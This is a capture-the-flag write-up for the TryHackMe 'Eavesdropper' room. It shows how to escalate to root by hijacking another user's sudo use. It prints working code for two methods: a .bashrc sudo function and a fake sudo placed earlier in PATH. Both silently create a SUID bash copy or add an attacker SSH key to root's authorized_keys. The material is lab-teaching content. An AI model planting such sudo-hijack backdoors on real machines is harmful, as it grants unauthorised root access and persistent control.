TryHackMe - Eavesdropper
https://tryhackme.com/room/eavesdropper
Hello again, hacker. After uncovering a user Frank’s SSH private key, you’ve broken into a target environment.
Download the SSH private key attached.
So we start by already having access to the machine, but with an unprivileged user… or maybe not?
Things that I tried#
I upload linpeas.sh
and see what happens:
scp -i key ./linpeas.sh frank@10.10.29.9:
ssh -i key frank@10.10.29.9
And then execute it:
bash linpeas.sh -o system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_perms_files,interesting_files,api_keys_regex
Note: I use the flag “-o” so I can select which type of checks I want it to do. I omit “cloud” because most of the times in CTFs there’s no such a thing and it would take a while to run if it’s not there. But it’s still something to keep in mind, regardless of the machine that you’re in.
Nothing too valuable there. We have some capabilities and we now know that we’re inside a docker container
I also tried to upload a tool in golang that would’ve helped me to sniff traffic on the machine (because I thought that the CTF was about intercepting traffic).
Then I did some steps back, I thought: “what would you do if you want to use all the options?”
I am on it.
We’re not alone#
Of course, not the complicated solution is always the right one and since this is a “Medium” CTF cannot expect some intricate system.
So I asked myself: what is running on the machine?
So I start to analyze the processes in real time:
watch -n 0.1 ps -aux
And besides some bash trickery that are constantly running, I notice that someone logs in the machine and executes a command (that doesn’t last long), but still. It’s a hint.
It doesn’t specify what pts number is, but I am fairly confident that I am running in the pts/0
, so I’ll save 30 seconds of processes list:
timeout 30 /bin/bash -c 'while true; do ps -aux >> processes.log; done'
(You’re gonna see no output here because I want it to write fast on the log file)
and then we’re donna do some bash magic to extract the command line (not exactly bulletproof) and then remove the duplicates:
cat processes.log | cut -d ":" -f 3 | sort -u
Someone logs in and executes sudo cat /etc/shadow
!
No way. I use grep again to see the full line of the processes.log file to get more information:
grep 'sudo cat' processes.log
So, I assume that “root” is running the process because sudo
is a binary with SUID enabled and it belongs to root. So whoever calls sudo
, it is gonna run the binary as root.
But who called the binary? It looks like it comes from the user frank
:
grep "pts/1" procs.log | sort -u
grep "pts/1" procs.log
Got it. Let’s test this out.
Exploitation#
The goal here is to elevate our privileges.
My first idea is to force the user to use our binary or command when they ran sudo
without using its absolute path (so /usr/bin/sudo
).
For both techniques you need to know this: when an user logs in, .bashrc
and/or .profile
(see this answer from stack overflow for more information and clarification) get executed.
.bashrc only#
We could write the whole script inside the .bashrc
file actually:
function sudo(){
/usr/bin/sudo /bin/bash -c "cp /usr/bin/bash /tmp/bash_suid; chmod u+s /tmp/bash_suid"
/usr/bin/sudo $@
}
NOTE regarding
/usr/bin/sudo $@
: this is so it will take the original arguments passed by the victim to the intended binary. So if the user executessudo cat /etc/shadow
, it will be interpreted as/usr/bin/sudo cat /etc/shadow
This is the approach that I used, more of the commands inside the function will be explained later, but I also wanted to show more ways to achieve root:
$PATH and SUID#
When you enter a command on Linux, it will look up the name of the binary in one of the directories present in the environment variable PATH
.
It will start from the first one and it stops when it finds the binary at the first occurrence.
So, we could add at the beginning a path that we can control the content on, slap our binary in there and place our directory in the $PATH
variable. To make this “persistence”, we’re going to make this edit in the .bashrc
file, which is in frank
’s home directory: /home/frank
export PATH="/home/frank:$PATH"
I’m going to add this at the top of the file to make sure that it gets executed:
and then, we create a file in frank
’s home called sudo
:
vim $HOME/sudo
and it also needs to have execution permission:
chmod +x $HOME/sudo
The code that I’m gonna write down is fairly simple:
- Whenever we call the actual
sudo
binary, we’re gonna use it’s absolute path. To check it, use the following command on the victim machine:which sudo
- We do our shenanigan for privilege escalation
- We execute the command that the owner originally intended to use
The script is faulty: if the user inserts the wrong password 3 times or cancels the process, the real sudo
is gonna be called again and re-ask for the password.
There are ways to avoid this but I don’t want to go in details.
$PATH and bash SUID#
#!/bin/bash
/usr/bin/sudo /bin/bash -c "cp /usr/bin/bash /tmp/bash_suid; chmod u+s /tmp/bash_suid"
/usr/bin/sudo $@
Now we just have to wait for our file /tmp/bash_suid
to appear and then we can execute it:
/tmp/bash_suid -p
$PATH and root ssh key#
The other approach is to generate new ssh keys:
sshkey-gen -f ./root
and then add the public key to /root/.ssh/authorized_keys
on the victim machine (we also create the folder in case it’s not there):
/usr/bin/sudo /bin/bash -c 'mkdir /root/.ssh 1> /dev/null 2> /dev/null; echo -e "\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK5DItPmXVJRB+d0vrH4OaH031x+yoIHv4ccTfkPl17R jack@kali\n" >> /root/.ssh/authorized_keys'
/usr/bin/sudo $@
Then we can login via ssh:
ssh -i ./root root@10.10.29.9
My preferred way: .bashrc and ssh key#
inside .bashrc
:
function sudo(){
/usr/bin/sudo /bin/bash -c 'mkdir /root/.ssh 1> /dev/null 2> /dev/null; echo -e "\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK5DItPmXVJRB+d0vrH4OaH031x+yoIHv4ccTfkPl17R jack@kali\n" >> /root/.ssh/authorized_keys'
/usr/bin/sudo $@
}
so I don’t have to go around the filesystem and creating files in the victim machine and I can login via root (if the ssh server allows that) and have a decent terminal to work on.
Anyways, there are a lot of ways to make it work and I bet that a lot of people found their own way.
I hope you enjoyed the writeup and I see you to the next one!